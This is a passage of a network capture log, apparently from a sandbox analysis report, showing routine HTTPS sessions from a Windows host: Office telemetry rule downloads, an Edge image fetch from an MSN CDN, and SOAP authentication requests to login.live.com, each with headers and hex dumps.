d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:31 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:31 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070931Z-1777c6cb7549x5qchC1TEBggbg00000009b0000000006ggm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:31 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:31 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:31 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070931Z-185f5d8b95cp7lkfhC1NYC7rpw00000009y000000000h4dx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:31 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:31 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:31 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070931Z-r1d97b995778dpcthC1TEB4b5400000008d0000000008y52 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:31 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:31 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:31 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070931Z-185f5d8b95csp6jmhC1NYCwy6s00000009ug00000000c03b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:31 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:31 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:31 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:31 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c9ccbc18-001e-0014-5cf1-3a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070931Z-185f5d8b95cmd8vfhC1NYC0g4000000005q000000000h8ax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:31 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49927	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:31 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:32 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=387029 Expires: Sun, 24 Nov 2024 18:40:01 GMT Date: Wed, 20 Nov 2024 07:09:32 GMT Connection: close
2024-11-20 07:09:32 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:32 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:32 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070932Z-185f5d8b95ckwnflhC1NYCx9qs0000000a1g000000001rq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:32 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49928	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-20 07:09:32 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 07:09:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 07:08:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 5aeb2e61-dcc9-4e7c-8d18-90b18b38b36e PPServer: PPV: 30 H: SN1PEPF0002F0C3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:31 GMT Connection: close Content-Length: 1918
2024-11-20 07:09:32 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49929	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-20 07:09:32 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 07:09:32 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 07:08:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: cafbe643-4d38-4839-a170-0e6148d74006 PPServer: PPV: 30 H: BL02EPF0001D86C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:32 GMT Connection: close Content-Length: 11389
2024-11-20 07:09:32 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:32 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070932Z-1777c6cb754wcxkwhC1TEB3c6w000000091g00000000prvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

